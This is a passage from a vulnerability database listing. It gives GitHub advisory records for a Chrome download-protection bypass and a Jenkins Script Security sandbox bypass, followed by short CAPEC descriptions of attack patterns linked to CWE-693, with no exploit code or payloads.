},
{
"type": "PACKAGE",
"url": "https://github.com/solana-foundation/kora"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "kora-lib: Unrecognized Instruction Types Create Empty Stubs That Bypass Fee Payer Policy"
}
GHSA-X4JG-WM7V-8287
Vulnerability from github – Published: 2026-04-09 00:32 – Updated: 2026-04-13 21:30Policy bypass in Downloads in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass of multi-download protections via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-5900"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T22:16:29Z",
"severity": "MODERATE"
},
"details": "Policy bypass in Downloads in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass of multi-download protections via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-x4jg-wm7v-8287",
"modified": "2026-04-13T21:30:38Z",
"published": "2026-04-09T00:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5900"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/475265304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X5JM-RJ37-5QH7
Vulnerability from github – Published: 2022-05-13 01:00 – Updated: 2022-06-01 20:12A sandbox bypass vulnerability exists in Jenkins Script Security Plugin 1.50 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java that allows attackers with Overall/Read permission to provide a Groovy script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:script-security"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1003005"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-01T20:12:13Z",
"nvd_published_at": "2019-02-06T16:29:00Z",
"severity": "HIGH"
},
"details": "A sandbox bypass vulnerability exists in Jenkins Script Security Plugin 1.50 and earlier in src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java that allows attackers with Overall/Read permission to provide a Groovy script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.",
"id": "GHSA-x5jm-rj37-5qh7",
"modified": "2022-06-01T20:12:13Z",
"published": "2022-05-13T01:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003005"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/script-security-plugin/commit/35119273101af26792457ec177f34f6f4fa49d99"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0739"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/script-security-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sandbox Bypass in Script Security Plugin"
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.